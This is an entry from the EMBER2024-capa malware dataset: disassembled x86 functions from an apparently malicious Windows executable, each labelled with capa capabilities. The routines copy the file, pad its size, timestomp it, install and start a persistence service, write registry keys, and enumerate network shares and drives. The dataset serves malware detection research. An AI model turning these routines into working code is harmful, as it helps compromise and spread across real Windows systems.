joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40406e
Capabilities:
Get file size
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x15000
push ebx
push esi
push edi
jl 0x4040a8
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ebx, ebx
push ebx
push 0x20
push 3
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4040af
xor eax, eax
jmp 0x404133
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, dword [ebp + 0xc]
jle 0x4040d6
push ebx
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x404129
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
sub eax, esi
mov esi, 0x80000
mov dword [ebp + 8], eax
mov ecx, esi
cdq
idiv ecx
cmp eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
jle 0x404114
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push 0x4131d0
push edi
call ebx
dec dword [ebp + 0xc]
jne 0x404100
lea eax, [ebp - 4]
push 0
push eax
mov eax, dword [ebp + 8]
cdq
idiv esi
push edx
push 0x4131d0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4045ef
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x18]
or dword [ebp - 8], 0xffffffff
push eax
push 0
push dword [ebp + 0x14]
mov dword [ebp - 4], eax
call fcn.004076f0
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x404625
push 1
pop eax
leave
ret
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret

Function at 0x40464b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x404667
push 1
pop eax
pop ebp
ret
push dword [ebp + 0x14]
call fcn.00407840
pop ecx
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebp
ret
Function at 0x404691
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4046b5
xor eax, eax
jmp 0x40470c
lea eax, [ebp - 0x10c]
push 0x104
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x4046fe
cmp dword [ebp + 0x10], eax
je 0x4046f7
and dword [ebp - 8], eax
push dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0x14
cmp dword [ebp - 8], 0
jne 0x4046fa
inc esi
jmp 0x4046b5
mov esi, eax
jmp 0x404701
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x40470f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0xc]
mov esi, 0x400
xor ebx, ebx
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40473f
xor eax, eax
jmp 0x4047b2
lea eax, [ebp - 8]
mov dword [ebp - 0x10], esi
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 8], esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x4047a4
cmp dword [ebp - 0x14], 1
jne 0x40479d
cmp dword [ebp + 0x10], eax
je 0x40479d
and dword [ebp - 0xc], eax
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x4047a0
inc ebx
jmp 0x40473f
mov esi, eax
jmp 0x4047a7
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4047e2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.004076f0
add esp, 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop esi
and eax, dword [ebp - 0x10]
leave
ret
Function at 0x404a18
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x4938f0], 0
jne 0x404a53
push 4
push 0x410252
call fcn.0040347e
lea ecx, [ebp - 4]
push ecx
push 0x40494a
push eax
push closesocket
call fcn.00404691
add esp, 0x18
jmp 0x404a8f
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403ce3
lea eax, [ebp - 0x418]
push eax
push 0x4934e0
call fcn.00407750
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x4048b6
push eax
push closesocket
call fcn.0040470f
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x4938f4], eax
jne 0x404b70
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str.T__
push eax
call fcn.00407750
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407840
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.0040372f
lea eax, [ebp - 0x17]
push eax
call fcn.0040c9ac
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407750
lea eax, [ebp - 0x418]
push 0x40f044
push eax
call fcn.00407760
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407760
lea eax, [ebp - 0x418]
push 0x4101dc
push eax
call fcn.00407760
lea eax, [ebp - 0x418]
push eax
call fcn.00403e63
add esp, 0x38
test eax, eax
je 0x404b4d
inc esi
cmp esi, 0xa
jl 0x404ab4
lea eax, [ebp - 0x18]
push eax
push 0x4933dc
call fcn.00407760
lea eax, [ebp - 0x418]
push eax
push 0x4935e4
call fcn.00407750
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404cc5
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404d00
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404d00
cmp byte [ecx + 1], 0x5a
jne 0x404d00
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404d00
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x405226
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x30]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.00407840
mov esi, eax
pop ecx
lea eax, [ebp - 0x18]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x16], 0xfffe
xor ebx, ebx
push ebx
call fcn.004047b6
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xe], dx
cmp word [ebp - 0xe], 0x3c
jb 0x40527c
mov word [ebp - 0xe], 1
mov al, byte [ebp - 0xe]
mov ecx, dword [ebp - 0x10]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 0xc]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x18]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x16]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0x12]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x4052d7
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x40532b
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x1c]
push 1
push eax
lea ecx, [ebp - 0x30]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
jne 0x405332
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x405425
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 0x14e], 0x74
push eax
mov word [ebp - 0x14d], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x14b], si
mov dword [ebp - 0x149], eax
mov dword [ebp - 0x145], eax
mov byte [ebp - 0x141], bl
call fcn.004051be
push dword [ebp + 0x10]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x138], 0x14
mov dword [ebp - 0x13c], eax
mov byte [ebp - 0x137], 0x30
call fcn.00407840
push dword [ebp + 0x10]
mov word [ebp - 0x136], ax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x134], ebx
push eax
call fcn.00407750
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14e]
push eax
call fcn.004051be
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x150], ax
je 0x4053e1
lea eax, [ebp - 0x20]
push ebx
push eax
push 0x14
push 0x410dac
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x150]
push edi
push eax
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x1c]
push dword [ebp + 0xc]
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0x30]
call fcn.00401808
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x14], ebx
je 0x405422
push dword [ebp + 8]
call fcn.00405522
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405522
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push edi
push esi
push 0x20
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x4055fa
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push esi
call fcn.004047b6
push 0x3c
xor edx, edx
pop ecx
div ecx
push esi
mov word [ebp - 0xe], dx
call fcn.004047b6
pop ecx
xor edx, edx
pop ecx
push 0x18
pop ecx
div ecx
sub word [ebp - 0x10], dx
cmp word [ebp - 0x10], si
jg 0x405588
add word [ebp - 0x10], cx
dec word [ebp - 0x12]
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 0x1c
pop ecx
div ecx
sub word [ebp - 0x12], dx
cmp word [ebp - 0x12], si
jg 0x4055b2
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 3
pop ecx
div ecx
mov word [ebp - 0x12], dx
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 0xc
pop ecx
div ecx
sub word [ebp - 0x16], dx
cmp word [ebp - 0x16], si
jg 0x4055d2
add word [ebp - 0x16], cx
dec word [ebp - 0x18]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x4055fe
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004047b6
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x4937ec
call fcn.004076f0
push esi
push edi
push 0x4936e8
call fcn.004076f0
push esi
push edi
push 0x4935e4
call fcn.004076f0
push esi
push edi
push 0x4934e0
call fcn.004076f0
push esi
push edi
push 0x4933dc
call fcn.004076f0
add esp, 0x40
push 0x40f0d0
push 0x2266
push 0x40f0d4
call fcn.00403634
push 0x4938f8
call fcn.00402680
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x493900], edi
mov dword [0x4938f0], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4056be
cmp dword [ebp - 0x8c], ebx
jne 0x4056be
mov dword [0x493900], ebx
call fcn.00404a18
mov esi, 0x7d000
push esi
call fcn.00407f8f
cmp eax, edi
pop ecx
mov dword [0x4933d8], eax
jne 0x4056dc
xor eax, eax
jmp 0x405700
push esi
push edi
push eax
call fcn.004076f0
call fcn.004057be
push ebx
push str.0r0_
call fcn.0040347e
push eax
push edi
call fcn.00405449
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4057be
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x410b93
call fcn.0040347e
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.04_
je 0x405823
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x493908], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x493904], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x49390c], eax
push 3
push 0x410b93
call fcn.0040347e
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x40584d
push 3
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x493910], eax
mov edi, 0x410dc8
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40586e
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x493914], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x405b0f
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405bd3
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004078bb
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
lea eax, [ebp - 0x11c]
push 0x4101dc
push eax
call fcn.00407760
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.0040756c
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x405bd7
call fcn.00401808
xor eax, eax
jmp 0x405c2b
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403dc6
push esi
call fcn.00407beb
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004047e2
pop ecx
test eax, eax
pop ecx
je 0x405c29
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403f05
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x406106
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.dhX
call fcn.0040347e
pop ecx
pop ecx
push eax
push 0x410252
push closesocket
call fcn.004045ef
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ec6
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.00407ace
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x4061b0
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x4061b0
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x4060ae
push eax
call fcn.00403f1c
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x40616a
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406a36
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
mov ax, word [0x4128f4]
push esi
push edi
push 7
mov word [ebp - 0x60], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x5e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x4128f0]
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], eax
xor eax, eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor edi, edi
mov dword [ebp - 0x20], 0x20
cmp dword [0x4938f0], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
jne 0x406c61
cmp dword [0x493908], edi
je 0x406c61
mov esi, dword [ebp + 8]
cmp esi, edi
je 0x406aba
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x80]
push eax
lea eax, [esi + 2]
push eax
call fcn.0040c920
pop ecx
test eax, eax
pop ecx
je 0x406c61
lea eax, [ebp - 0xa8]
or dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x80]
push ebx
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x3c], edi
push eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x34], 0x7f
call fcn.00407760
pop ecx
lea eax, [ebp - 0xe8]
pop ecx
push 0x22
push eax
push 0xffffffffffffffff
push esi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push edi
call esi
mov dword [ebp - 4], 2
mov ebx, 0x40f044
mov al, byte [ebp - 4]
push 0x14
add al, 0x41
mov byte [ebp - 0x1c], al
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x1c]
push 0xffffffffffffffff
push eax
push 1
push edi
call esi
mov al, byte [ebp - 0x1c]
push 0x34
mov byte [ebp - 0x60], al
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x60]
push 0xffffffffffffffff
push eax
push 1
push edi
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xe8]
push 2
push eax
call dword [0x493908]
cmp dword [ebp + 0xc], edi
mov dword [ebp - 0x10], eax
je 0x406c53
cmp eax, edi
jne 0x406bd9
cmp dword [ebp - 8], edi
jne 0x406bd9
push 1
push 0x4101dc
push edi
call fcn.004047b6
pop ecx
and eax, 1
push eax
lea eax, [ebp - 0x45c]
push eax
call fcn.00404261
lea eax, [ebp - 0x358]
push ebx
push eax
call fcn.00407750
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x358]
push eax
call fcn.00407760
push 1
lea eax, [ebp - 0x45c]
push edi
push eax
lea eax, [ebp - 0x358]
push edi
push eax
push dword [ebp + 8]
call fcn.0040284d
add esp, 0x38
mov dword [ebp - 8], eax
cmp dword [ebp - 0x10], edi
jne 0x406c53
push 1
push 0x410dc2
lea eax, [ebp - 0x560]
push edi
push eax
call fcn.00404261
push dword [ebp + 8]
lea eax, [ebp - 0x254]
push eax
call fcn.00407750
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.00407760
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00407760
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.00407760
lea eax, [ebp - 0x560]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00407760
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x254]
push 0xffffffffffffffff
push eax
call fcn.0040704c
add esp, 0x48
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
jl 0x406b1c
pop ebx
pop edi
pop esi
leave
ret
Function at 0x406c65
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x439c
call fcn.00407f60
lea eax, [ebp + 0xc]
push edi
push eax
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 8], 0x3e80
push 3
push 1
pop edi
push edi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x406ddb
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x439c]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.MPR.dll_WNetEnumResourceA
xor ebx, ebx
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x406dd2
push esi
lea esi, [ebp - 0x4388]
test byte [esi - 8], 2
lea eax, [esi - 0x14]
je 0x406ce4
push dword [ebp + 0x10]
push 2
push eax
call fcn.00406c65
add esp, 0xc
jmp 0x406dbf
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [esi]
call fcn.00404bd2
add esp, 0xc
test eax, eax
jne 0x406dbf
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.00406a36
pop ecx
pop ecx
push edi
push 0x4101dc
push ebx
call fcn.004047b6
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x51c]
push eax
call fcn.00404261
add esp, 0x10
cmp dword [ebp + 0x10], ebx
je 0x406dbf
push edi
lea eax, [ebp - 0x51c]
push ebx
push eax
lea eax, [ebp - 0x314]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040284d
add esp, 0x18
push edi
push 0x410dc2
push ebx
call fcn.004047b6
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404261
push dword [esi]
lea eax, [ebp - 0x10c]
push eax
call fcn.00407750
lea eax, [ebp - 0x10c]
push 0x40f044
push eax
call fcn.00407760
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00407760
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
call fcn.0040704c
add esp, 0x38
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x406cc8
pop esi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetCloseEnum
pop ebx
pop edi
leave
ret
Function at 0x406dfd
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2384
call fcn.00407f60
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x4935e4
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x406ea0
push 0x227a
lea eax, [esp + 0x11c]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.00405705
push 0x15000
push esi
call fcn.00404fc5
push ebx
call fcn.004047b6
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x15200
push edx
push esi
call fcn.0040406e
add esp, 0x28
push esi
call fcn.00405522
pop ecx
push 0x27
push esi
call edi
cmp dword [0x4938f0], ebx
mov edi, 0x4933dc
je 0x406efe
push esi
push edi
push 0x4934e0
push closesocket
call fcn.0040464b
push 1
push 0x410b93
call fcn.0040347e
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.04_
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406ef7
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406f08
xor eax, eax
jmp 0x406f7d
cmp dword [0x4938f0], ebx
je 0x406f1b
push ebx
push esi
call fcn.004047e2
pop ecx
pop ecx
jmp 0x406f7a
cmp dword [0x4938f8], ebx
jne 0x406f7a
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2384
ret